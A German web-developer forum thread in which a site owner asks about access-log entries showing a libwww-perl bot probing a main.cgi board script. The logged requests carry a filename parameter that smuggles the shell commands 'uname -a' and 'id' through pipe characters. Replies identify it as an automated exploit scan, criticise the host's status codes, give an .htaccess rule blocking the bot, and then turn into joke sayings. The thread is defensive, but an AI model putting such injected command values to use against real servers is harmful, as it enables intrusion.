Was haben diese Zeilen zu bedeuten?

[Patrick Andrieu]

Hallo alle!

Aus meiner heutigen Logdatei:

217.31.58.188 - libwww-perl/5.805

Besuchte Domain Uhrzeit Methode Angeforderte Datei Status Referer
old.atomic-eggs.com 04:42:01 GET //cgi-bin/main.cgi?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt%7Cuname%20-a%7C%7Cid%7C 200 -
old.atomic-eggs.com 05:18:53 GET /cgi-bin/html_log.cgi//cgi-bin/main.cgi?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt%7Cuname%20-a%7C%7Cid%7C 200 -
old.atomic-eggs.com 05:18:53 GET //cgi-bin/main.cgi?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt%7Cuname%20-a%7C%7Cid%7C 200 -
old.atomic-eggs.com 05:18:53 GET /cgi-bin//cgi-bin/main.cgi?down_num=5466654&board=rebarz99&command=down_load&filename=rb9.txt%7Cuname%20-a%7C%7Cid%7C

Man beachte den User-Agent libwww-perl.

Was wurde da versucht?

Der Status-Code 200 ist hier 1&1-spezifisch, wenn eine Datei in einem cgi-bin nicht existiert, wird bei 1&1 intern auf eine error404.html umgeleitet, die sich im Root befinden soll, und es wird nicht serverseitig die 404.shtml aufgerufen, die sonst mit Statuscode 404 ausgeliefert wird, wenn irgendwo _ausserhalb_ des cgi-bin eine Datei nicht gefunden (ich habe das eins oder zweimal hier im Forum erwähnt, bei 1&1 gibt es auch nie einen Statuscode 500 - aus dem selben Grund).

Fakt ist, wenn ich die Anfrage in die Adresszeile kopiere, kommt meine 404-Seite für nicht gefundenen Skriptdateien.

Viele Grüße aus Frankfurt/Main,
Patrick

[Norbert]

Hallo,

Man beachte den User-Agent libwww-perl.

wieso ...

Was wurde da versucht?

na-ja,
eine main.cgi mit verschiedenen Parametern aufzurufen.

Habe letztens eine neue Domain registrieren lassen. Kurz danach wurde sie von vielen Robots nach Dateien abgesucht, die es dort nie gegeben hat und auch nie geben wird. Leute sammeln URL's aus Berichten von Exploits und hoffen dass diese Files auf einer Domain vorkommen um die beschriebene Sicherheitsluecke auszunutzen.

Mich wuerde vielmehr interessieren, wie man erfaehrt, dass es diese und jene Domain gibt, auch wenn sie in Suchmaschinen noch gar nicht gelistet ist.

Gruss und Dank
Norbert

[frankx]

Hellihello Norbert,

Mich wuerde vielmehr interessieren, wie man erfaehrt, dass es diese und jene Domain gibt, auch wenn sie in Suchmaschinen noch gar nicht gelistet ist.

Aha, das wusste ich auch nicht. Vielleicht als Mitglied der Denic kriegt man eine Positivliste?

Dank und Gruß,

frankx

[Patrick Andrieu]

Hallo Norbert!

Was wurde da versucht?
na-ja,
eine main.cgi mit verschiedenen Parametern aufzurufen.

Ja, so weit sehe ich das auch, sogar ohne Brille ;) Aber..., was ist der Sinn dahinter?

Viele Grüße aus Frankfurt/Main,
Patrick

[Norbert]

Hallo,

Was wurde da versucht?
na-ja,
eine main.cgi mit verschiedenen Parametern aufzurufen.
Ja, so weit sehe ich das auch, sogar ohne Brille ;) Aber..., was ist der Sinn dahinter?

hmm,
habe ich doch oben schon geschrieben:

Leute sammeln URL's aus Berichten von Exploits und hoffen dass diese Files auf
Deiner Domain vorkommen um die beschriebenen Sicherheitsluecken auszunutzen.

Was verstehst Du daran nicht ... ?

Gruss und Dank
Norbert

[Patrick Andrieu]

Hallo Norbert!

habe ich doch oben schon geschrieben:

Leute sammeln URL's aus Berichten von Exploits und hoffen dass diese Files auf
Deiner Domain vorkommen um die beschriebenen Sicherheitsluecken auszunutzen.
Was verstehst Du daran nicht ... ?

Ups, ich hatte den Satz wohl übersehen, sorry.

Viele Grüße aus Frankfurt/Main,
Patrick

[Cybaer]

Hi,

217.31.58.188 - libwww-perl/5.805

Die Lib wird gerne von Script-Kiddies/Hackern/Adress-Sammlern/... verwendet, um Bots zu programmieren, die das Web durchforsten, ...

Was wurde da versucht?

... um zu schauen, was geht.

Der Status-Code 200 ist hier 1&1-spezifisch,

Ja, die Response-Codes von 1&1 sind wirklich haarsträubend. Habe mich gerade bei einem Kunden geärgert, wo 1&1 den falschen Response bei einem Redirect gesendet hat.

Fakt ist, wenn ich die Anfrage in die Adresszeile kopiere, kommt meine 404-Seite für nicht gefundenen Skriptdateien.

Fakt ist auch, daß der Server aber wirklich fälschlicherweise einen 200er sendet, statt des korrekten 404ers.

Im Prinzip ist zu empfehlen, auf eine PHP-Error-Seite umzulenken, und die dann manuell einen 404er absenden zu lassen.

Gruß, Cybaer

[frankx]

Hellihello Zusammen,

Hi,

217.31.58.188 - libwww-perl/5.805

Die Lib wird gerne von Script-Kiddies/Hackern/Adress-Sammlern/... verwendet, um Bots zu programmieren, die das Web durchforsten, ...

Hat das http://secwatch.org/advisories/1009058 was damit zu tun?

Komisch aber doch, dass sich mit http://www.google.de/search?q=rb9.txt+cgi nicht mehr dazu finden lässt, oder?

Der Status-Code 200 ist hier 1&1-spezifisch,

Ja, die Response-Codes von 1&1 sind wirklich haarsträubend. Habe mich gerade bei einem Kunden geärgert, wo 1&1 den falschen Response bei einem Redirect gesendet hat.

Fakt ist, wenn ich die Anfrage in die Adresszeile kopiere, kommt meine 404-Seite für nicht gefundenen Skriptdateien.

Fakt ist auch, daß der Server aber wirklich fälschlicherweise einen 200er sendet, statt des korrekten 404ers.

Im Prinzip ist zu empfehlen, auf eine PHP-Error-Seite umzulenken, und die dann manuell einen 404er absenden zu lassen.

Ist das denn wirklich von Nachteil, dem Hacker sofort zu sagen, dass es sowas da nicht gibt?

Dank und Gruß,

frankx

[Cybaer]

Hi,

Hat das http://secwatch.org/advisories/1009058 was damit zu tun?

Sieht so aus! :)

Ist das denn wirklich von Nachteil, dem Hacker sofort zu sagen, dass es sowas da nicht gibt?

Ach, dem Bot ist das wohl echt egal. Der zieht seine Schlüsse eher aus dem, was er zurückbekommt. Ich hab's nur erwähnt, weil es eher ein prinzipielles Übel für den Normalbetrieb ist.

Trotzdem: Wenn bei mir so ein UA einläuft, lasse ich ihn i.d.R. auflaufen. Der Server hat bessere Dinge zu tun, als Rechenzeit für solche Requests zu verschwenden ...

... wenn man freundlich ist, könnte man aber vielleicht einen 503er ("Service Unavailable") senden. ;-)

Gruß, Cybaer

[Patrick Andrieu]

Hallo Cybaer!

Die Lib wird gerne von Script-Kiddies/Hackern/Adress-Sammlern/... verwendet, um Bots zu programmieren, die das Web durchforsten, ...

In unregelmäßigen Abständen taucht es im UA...

Was wurde da versucht?
... um zu schauen, was geht.

Würde bedeuten, dass andere ein Skript namens main.cgi haben, das diese Kiddies versuchen, zu manipulieren?

Der Status-Code 200 ist hier 1&1-spezifisch,
Ja, die Response-Codes von 1&1 sind wirklich haarsträubend. Habe mich gerade bei einem Kunden geärgert, wo 1&1 den falschen Response bei einem Redirect gesendet hat.

Mich nervt vor allem der fehlende 500er-Status. Als ich letztes Jahr zu 1&1 umgezogen bin, musste ich den Support mailen, weil ich, bei einem absichtlich kaputt geschriebenen Testskript grundsätzlich die 1&1-Default-Seite zu sehen bekam, und nicht meine. Nach einigem hin und her bekam ich den Hinweis, dass eine Datei, die unbedingt error500.html heißen MUSS im Root abgelegt werden muss (meine anderen, eigenen Error Pages befinden sich in /error).

Aber dennoch gibt 1&1 beim kaputten Skript den Statuscode 200 aus. Wenn man sich die Stats anschaut (die von 1&1, abrufbar vom Kontrolpanel aus), ist es auf den ersten Blick erfreulich, doch weiß man, wie oft man beim Testen einen 500er geerntet hat... das ist aber nicht zu sehen.

Außerdem gibt es bei 1&1 keinen error-Log. Dafür einen mail-log für über sendmail gesendetete Mails, praktisch zum überprüfen, ob alles mit rechten Dingen zugeht ;)

Fakt ist auch, daß der Server aber wirklich fälschlicherweise einen 200er sendet, statt des korrekten 404ers.

Ja, das ist das selbe wie bei der 500er-Seite. Für Skript-Dateien, die nicht gefunden werden (gibtsnicht.php, gibtsnicht.cgi, gibtsnicht.pl) muss im Root eine Datei error404.html, die auch nur so heißen darf, agbelegt werden. Sie wird ja gezeigt, wenn man versucht eine dieser gibtsnicht-Dateien aufzurufen - doch der Statuscode ist 200:

Viele Grüße aus Frankfurt/Main,
Patrick

[Cybaer]

Hi,

Würde bedeuten, dass andere ein Skript namens main.cgi haben, das diese Kiddies versuchen, zu manipulieren?

Jep - s. frankx' Link.

Gruß, Cybaer

[Patrick Andrieu]

Hallo Cybaer!

Jep - s. frankx' Link.

Ja, sorry.

Ich habe mittlerweile auch gesucht, in der Tat scheint es ein Skript namens main.cgi zu geben, eine Art Board, das an verschiedenen Stellen als unsicher eingestuft wurde:

http://www.securityspace.com/de/smysecure/catid.html?id=10584
http://www.google.com/search?q=[Ksecurity Advisory%20main.cgi%20in%20technote&ie=UTF-8&oe=UTF-8&hl=en]

Viele Grüße aus Frankfurt/Main,
Patrick

[Robert Bienert]

Moin!

Die Lib wird gerne von Script-Kiddies/Hackern/Adress-Sammlern/... verwendet, um Bots zu programmieren, die das Web durchforsten, ...

Jaja, das merkt man ;-)

Im Prinzip ist zu empfehlen, auf eine PHP-Error-Seite umzulenken, und die dann manuell einen 404er absenden zu lassen.

Wer seinem Server ein bisschen Arbeit machen möchte, kann bestimmte Bots per .htaccess aussperen (hab ich gerade mal ausprobiert):

SetEnvIfNoCase User-Agent libwww-perl SpamBot=Remote_Addr  
  
Order allow,deny  
Allow from All  
Deny from env=SpamBot

Ich verstehe nicht, warum sich diese Script-Kiddies/Hacker/Adress-Sammler/… noch nicht einmal den „Aufwand“ machen, einen „in the wild“ existierenden und verbreiteten User-Agent zu verwenden, das fiele viel weniger auf – wenn überhaupt.

Viele Grüße,
Robert

[Cybaer]

Hi,

Wer seinem Server ein bisschen Arbeit machen möchte, kann bestimmte Bots per .htaccess aussperen (hab ich gerade mal ausprobiert):

Ja, aber Moment: Nicht jeder, der diese Lib (oder andere gern mißbrauchte Libs/Tools) verwendet, ist ja böse (theoretisch, aber OK: Praktisch zu mind. 99,9% doch >;->)!

Ich breche z.B. auch nur an Stellen ab, wo ein "normaler/guter" Bot eh nicht hinkommt/nichts zu suchen hat.

Ich verstehe nicht, warum sich diese Script-Kiddies/Hacker/Adress-Sammler/… noch nicht einmal den „Aufwand“ machen, einen „in the wild“ existierenden und verbreiteten User-Agent zu verwenden,

Ja, wundert mich auch. Aber viele machen es natürlich auch anders.

das fiele viel weniger auf – wenn überhaupt.

Ich vermute, daß das vielen auch so nicht auffällt, daß es aber Anbietern wie z.B. Patrick auch mit "gängigem" UA aufgefallen wäre*). Insofern ... ;-)

Gruß, Cybaer

*) Denn an ihren Taten sollst Du sie erkennen!

[Patrick Andrieu]

Hallo Cybaer!

Patrick auch mit "gängigem" UA aufgefallen wäre

Ja, unsere tägliche Log gib uns heute zur Auswertung, o großer Manitu des Apache-Häuptlings

Insofern ...

... gehe ich jetzt Logs anschauen

;-)

*) Denn an ihren Taten sollst Du sie erkennen!

Denn an ihren Attacken sollst Du sie erkennen!

Viele Grüße aus Frankfurt/Main,
Patrick

[Cybaer]

Hi,

... gehe ich jetzt Logs anschauen
;-)

Gute Idee (Auswertungsscript anschmeiß!)! ;-)

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!

Wer frei von Sünde ist der stoppe das erste Script! ;->

Gruß, Cybaer

[Patrick Andrieu]

Hallo Cybaer!

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->

Hilf Deinem Server und Dein Server hilft Dir.

Viele Grüße aus Frankfurt/Main,
Patrick

[Cybaer]

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.

Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!

Gruß, Cybaer

[Patrick Andrieu]

Hallo Cybaer!

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!

Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.

Viele Grüße aus Frankfurt/Main,
Patrick

[Cybaer]

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.

Was der Apache nicht lernt, das lernt der IIS nimmermehr.

Gruß, Cybaer

[Patrick Andrieu]

Hallo Cybaer!

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.

Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.

Viele Grüße aus Frankfurt/Main,
Patrick

[Cybaer]

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.

Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.

Linux/Apache ist mein Server, mir wird nichts mangeln.

Gruß, Cybaer

[Patrick Andrieu]

Hallo Cybaer!

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.

Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.

Viele Grüße aus Frankfurt/Main,
Patrick

[Cybaer]

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.

Mist, das wäre exakt mein nächster Spruch gewesen! =:-)

Aber OK:

Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.

Gruß, Cybaer

[Patrick Andrieu]

Hallo Cybaer!

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.

Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?

Mist, das wäre exakt mein nächster Spruch gewesen! =:-)

Soso, hast Du auch http://www.kirche-oe.de/guteworte.htm extra für diesen Thread gebookmarkt? ;)

Aber OK:
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.

Den hatte ich aber schon:

Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.

Viele Grüße aus Frankfurt/Main,
Patrick

[Cybaer]

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?

Und bist du nicht willig, so hack ich dich halt!

Mist, das wäre exakt mein nächster Spruch gewesen! =:-)
Soso, hast Du auch http://www.kirche-oe.de/guteworte.htm extra für diesen Thread gebookmarkt? ;)

Also ne ...

... ich hatte: http://www.evangeliums-gemeinde.de/HTML/service/bibelzitate.htm ;) - nur um mal kurz reinzuschauen. ;)

Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Den hatte ich aber schon:

Mist, ich hätte mich doch nicht auf die Bibelschiene ziehen lassen sollen! =;-)

Gruß, Cybaer

[Patrick Andrieu]

Hallo Cybaer!

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!

Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.

Soso, hast Du auch http://www.kirche-oe.de/guteworte.htm extra für diesen Thread gebookmarkt? ;)
Also ne ...
... ich hatte: http://www.evangeliums-gemeinde.de/HTML/service/bibelzitate.htm ;) - nur um mal kurz reinzuschauen. ;)

Hehe... ;)

Mist, ich hätte mich doch nicht auf die Bibelschiene ziehen lassen sollen! =;-)

Mir gefiel sie lieber, jetzt muss ich mir andere Sprüche suchen... :|

Viele Grüße aus Frankfurt/Main,
Patrick

[Cybaer]

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.

:)

Der Server würfelt nicht!

Mist, ich hätte mich doch nicht auf die Bibelschiene ziehen lassen sollen! =;-)
Mir gefiel sie lieber, jetzt muss ich mir andere Sprüche suchen... :|

Wobei: Ich habe ein einigermaßen reichhaltiges Repertoire an "Sinnsprüchen". Allerdings ist Deutsch ja auch meine Muttersprache. Ich vermute, daß das einem Franzosen (in Deutsch) nicht so leicht über die Finger fließt, oder?

Gruß, Cybaer

[Patrick Andrieu]

Hallo Cybaer!

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!

Alle guten HTTP-Auth-Versuche sind drei.

Allerdings ist Deutsch ja auch meine Muttersprache. Ich vermute, daß das einem Franzosen (in Deutsch) nicht so leicht über die Finger fließt, oder?

Geht eigentlich, im passenden Kontext fallen mir genug dt. Sprüche oder Sprichwörter ein. Hier muss ich was passendes _suchen_, und da fällt mir nichts ein - wäre in meiner Muttersprache nicht anders.

Viele Grüße aus Frankfurt/Main,
Patrick

[Cybaer]

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.

Des Servers Platte ist sein Himmelreich.

Hier muss ich was passendes _suchen_, und da fällt mir nichts ein - wäre in meiner Muttersprache nicht anders.

Wie? Du *cheatest*? =:->

Gruß, Cybaer

[Patrick Andrieu]

Hallo Cybaer!

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.

Die Pfade des Servers sind unergründlich...

Wie wahr, wie wahr, siehe Xampp-Thread(s) ;)

Wie? Du *cheatest*? =:->

Nein, ich bin nicht wie Cheatah. ;)

Viele Grüße aus Frankfurt/Main,
Patrick

[Cybaer]

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...

Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.

Wie wahr, wie wahr, siehe Xampp-Thread(s) ;)

Also ich kann in allen unseren "Sinnsprüchen 2.0" ein tiefes Maß an Wahrheit erblicken!  ;)

Gruß, Cybaer

[Patrick Andrieu]

Hallo Cybaer!

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.

Der klügere Server gibt nicht nach.

Also ich kann in allen unseren "Sinnsprüchen 2.0" ein tiefes Maß an Wahrheit erblicken!  ;)

In einer tiefen Mass kann man auch die Wahrheit erblicken, sakra.

Viele Grüße aus Frankfurt/Main,
Patrick

[Cybaer]

Hi,

*) Denn an ihren Taten sollst Du sie erkennen!
Denn an ihren Attacken sollst Du sie erkennen!
Wer frei von Sünde ist der stoppe das erste Script! ;->
Hilf Deinem Server und Dein Server hilft Dir.
Frage nicht, was dein Server für dich tun kann, sondern frage, was Du für deinen Server tun kannst!
Des Server Antwort ist wahrhaftig, und was er verweigert, das 403ert er gewiß.
Was der Apache nicht lernt, das lernt der IIS nimmermehr.
Ob ich schon wanderte durch finster Logs, fürchte ich kein Unglück; denn Apache ist bei mir.
Linux/Apache ist mein Server, mir wird nichts mangeln.
Der Apache, dein Server, ist ein barmherziger Server; er wird dich nicht verlassen noch verderben.
Des Apaches Response ist wahrhaftig, und was er zusagt, das hält er gewiß.
Wie soll ich dem Server vergelten all seine Wohltat, die er an meinen Seiten tut?
Und bist du nicht willig, so hack ich dich halt!
Wenn der Client Requests verfälscht oder nachmacht, oder verfälschte oder nachgemachte zum Server schickt, wird er vom Server mit ErrorPages nicht unter 404 bestraft.
Der Server würfelt nicht!
Alle guten HTTP-Auth-Versuche sind drei.
Des Servers Platte ist sein Himmelreich.
Die Pfade des Servers sind unergründlich...
Was Du nicht willst, das man dir tu, das füg auch keinem Server zu.
Der klügere Server gibt nicht nach.

Im Übrigen bin ich der Meinung, daß Microsoft zerschlagen werden muß.

Also ich kann in allen unseren "Sinnsprüchen 2.0" ein tiefes Maß an Wahrheit erblicken!  ;)
In einer tiefen Mass kann man auch die Wahrheit erblicken, sakra.

Ja, ja: Flüssig Brot macht Nasen, ähm, Wangen rot. %-)

Gruß, Cybaer

[Patrick Andrieu]

